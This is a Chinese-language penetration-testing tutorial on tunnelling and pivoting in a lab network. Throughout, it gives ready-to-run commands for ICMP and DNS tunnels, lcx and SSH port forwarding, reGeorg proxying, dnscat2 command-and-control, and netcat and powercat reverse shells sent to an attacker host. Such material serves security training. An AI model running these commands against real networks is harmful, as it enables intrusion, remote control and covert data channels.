概述:
根據OSI網絡模型角度分析大致可分為三類:
分類:
網絡層:IPv6隧道 ICMP隧道 GRE隧道
傳輸層:TCP隧道 UDP隧道 常規端口轉發
應用層:SSH隧道 HTTP隧道 HTTPS隧道 DNS隧道
一、網絡層
工具:
IPv6隧道
Socat6 6tunnel nt6tunnel
Icmp 隧道
Icmpsh
控制端安裝:
apt-get install python-impacket
git clone https://github.com/inquisb/icmpsh.git
cd icmpsh
sudo python icmpsh_m.py 本機監聽IP 被攻擊機器IP
被攻擊機器執行:
icmpsh.exe -t 192.168.1.203 -d 500 -b 30 -s 128
數據流量包
PingTunnel
http://freshmeat.sourceforge.net/projects/ptunnel/
實驗拓撲:
實現效果:
這種攻擊場景中很常見,就是攻擊主機無法直接訪問到數據庫服務器,但是可以通過web服務器作為代理來進行訪問,具體操作如下:
攻擊主機 Linux服務器安裝ptunnel工具
Linux服務器上操作:
# ptunnel -x hack405
攻擊主機上操作:
# sudo ptunnel -p 192.168.1.14 -lp 2080 -da 10.10.202.103 -dp 3389 -x hack405
然后在攻擊主機上就可以訪問:
rdesktop 192.168.1.203:2080 -u '用戶名' -p 密碼
在Linux服務器上看下網絡層的流量
二、傳輸層隧道技術
Lcx 端口轉發
Lcx 是一個基於socket套接字實現的端口轉發工具,有window和Linux兩個版本,window版本為lcx.exe ,Linux的版本為portmap.
內網端口轉發
Lcx.exe -slave public IP address 4444 127.0.0.1 3389
Vps 上執行:
Lcx.exe -listen 4444 5555
將本機上4444端口上的所有數據轉發到本機的5555端口上
Mstsc public IPaddress:5555 訪問即可連接內網主機的3389端口
另外一種利用場景:
本地端口映射,在滲透測試中,如果內網的主機限制了允許開放的端口,這時候就需要進行端口復用,一般就是復用允許的端口,53 或者80 ,443之類的
lcx.exe -tran 53 192.168.1.13 3389
Netcat 端口轉發
使用nc進行端口掃描
Nc -v -z 192.168.1.11 20-1024
Nc 監聽
Nc -lvvp 4444
文件傳輸
目標主機開啟監聽:
nc -lp 333 > 1.txt
源文件主機開啟傳輸:
sudo nc -vn 192.168.1.14 333 < man.txt -q 1
(UNKNOWN) [192.168.1.14] 333 (?) open
正向shell
Window版本
服務端:
nc.exe -lvp 4444 -e c:\Windows\System32\cmd.exe
listening on [any] 4444 ...
192.168.1.14: inverse host lookup failed: h_errno 11004: NO_DATA
客戶端:
Nc -lvp 192.168.1.14 4444
Linux 版本
服務端:
Nc -lvp 4444 -e /bin/bash
客戶端:
Nc 192.168.1.14 4444
反向shell
客戶端監聽:
Nc -lvvp 4444
服務端:
Nc 192.168.1.13 -e c:\Windows\System32\cmd.exe
實驗拓撲:
環境描述:
攻擊者獲取了Linux服務器的權限,無法直接訪問數據庫服務器,但是可以通過Linux服務器來訪問數據庫服務器,現在要通過內網代理的方式,實現攻擊者直接訪問數據庫服務器
攻擊者本機監聽:
# sudo nc -lvvp 3333
數據庫服務器執行:
# nc.exe-master>nc.exe -lvp 3333 -e c:\Windows\system32\cmd.exe
Linux服務器 邊界服務器上執行
# nc -v 192.168.1.203 3333 -c "nc -v 10.10.202.103 3333"
攻擊者服務器上反彈回來數據庫服務器的cmd shell
Powercat
power cat是nc的power shell版本,可以通過執行命令回到本地運行,也可以使用遠程權限執行
Window上執行:
powercat -l -p 8080 -e cmd.exe -v
攻擊者kail linux
# nc 192.168.1.13 8080 -vv
通過nc反向連接powercat
Kail 主機監聽:
# nc -lvvp 8088
Window7主機執行:
# PS C:\Users\lisi\Desktop\powercat-master> powercat -c 192.168.1.203 -p 8088 -v -e cmd.exe
通過powercat 返回power shell
這種情況下只能在window操作系統中進行
客戶端下載powercat 並開啟監聽
PS C:\Users\Administrator\Desktop\powercat-master> powercat -l -p 9999 -v
服務器端執行:
PS C:\Users\lisi\Desktop\powercat-master> powercat -c 192.168.1.11 -p 9999 -v -ep
客戶端返回powershell
Poershellcat DNS 隧道
Kail linux 主機安裝
git clone https://github.com/iagox86/dnscat2.git
Cd dnscat2/server
gem install bundler
bundle install
sudo ruby dnscat2.rb pentest.com -e open --no-cache
# powercat -c 192.168.1.203 -p 53 -dns pentest.com -e cmd.exe
實驗拓撲:
環境描述:
三台主機,其中Windows7 主機可以通過ping 命令訪問 Windows server 2008 和kail linux ,kail Linux主機和Windows server 2008 之間無法訪問,現在將windows 7 作為跳板,讓kail Linux主機可以連接Windows server 2008。
# powercat -l -v -p 9999 -e cmd.exe
# powercat -l -p 8000 -r tcp:10.10.202.104:9999 -v
# sudo nc 192.168.1.13 8000 -vv
三、應用層隧道技術
SSH協議
SSH常見參數說明:
-C:壓縮傳輸,提高傳輸速度
-f:將SSH傳輸轉入后台執行,不占用當前shell
-N:建立靜默連接,建立了連接,但是看不到會話
-g:允許遠程主機連接本地用戶轉發的端口
-L:本地端口轉發
-R:遠程端口轉發
-D:動態端口轉發
-p:指定SSH端口
本地端口轉發
實驗環境:
以Linux服務器192.168.1.14為跳板,將內網的數據庫服務器10.10.202.102的3389端口映射到VPS的192.168.1.203的1153端口上,再訪問VPS的1153端口,就可以訪問10.10.202.102的3389端口了。
VPS上執行如下命令:
ssh -CfNg -L 1153(vps端口):10.10.202.102:(目標端口) root@192.1681.1.13
ssh -CfNg -L 1153:10.10.202.102:3389 root@192.168.1.14
# rdesktop 192.168.1.203:1153 -u 'hack\lisii' -p 123456
遠程端口轉發
左側為攻擊者VPS,右側是一個小內網,包含二台服務器,內網沒有邊界,所以外部不能直接訪問內網的服務器,內網的Linux服務器可以訪問vps和數據庫服務器,目標為訪問內部的數據庫服務器。
以web服務器為跳板機,將VPS的3307端口流量轉發到10.10.202.102的3389上,然后訪問VPS的3307端口就可以訪問10.10.202.102的3389端口了
在WEB服務器上操作
# ssh -CfNg -R 3307:10.10.202.102:3389 gandolf@192.168.1.203
Vps上查看端口:
連接下試試
# rdesktop 127.0.0.1:3307 -u 'hack\lisi' -p 123456
動態轉發實驗拓撲:
實驗環境如上,現在目標是攻擊者通過本地訪問數據庫服務器。動態端口映射就是建立一個SSH加密的SOCKS5 SOCK4代理通道
操作如下:
Kail Linux攻擊者機器執行:
# ssh -CfNg -D 7000 root@192.168.1.14
設置系統代理訪問
HTTP/HTTPS 協議
reGeorg 主要功能是把內網服務器端口的數據通過HTTP/HTTPS 隧道轉發到本機,實現是基於HTTP協議
實驗拓撲:
目標通過端口轉發的方式在攻擊機器kail linux 上直接訪問內網10.10.202.0/24網段的機器
在攻擊服務器上下載:https://github.com/sensepost/reGeorg
並將tunnel.nosocket.php 腳本上傳到Linux服務器上,然后進行訪問驗證,是否正常工作
然后在kail linux 上執行如下命令:
# python reGeorgSocksProxy.py -u http://192.168.1.14/tunnel.nosocket.php -p 9999
gandolf@APT-101:~$ grep "9999" /etc/proxychains.conf
socks4 127.0.0.1 9999
gandolf@APT-101:~$
DNS協議
Dnscat2
直連模式
中繼模式
支持多個會話,流量加密,使用密鑰防止中間人攻擊,內存中執行power shell腳本,隱蔽性強
操作步驟:
部署域名解析
首先需要一個域名,比如:hack.testlab
A 記錄 c2.hack.testlab 指向 192.168.1.11
NS 記錄 vpr 指向 c2.hack.testlab
安裝dnscat2
# git clone https://github.com/lukebaggett/dnscat2-powershell.git
啟動dnscat2
# sudo ruby ./dnscat2.rb vpr.hack.testlab -e open -c password --no-cache
客戶端連接
客戶端一般推薦使用power shell的dnscat 版本
Import-Module .\dnscat2.ps1
Start-Dnscat2 -Domain vpr.hack.testlab -DNSServer 192.168.1.203
OVER!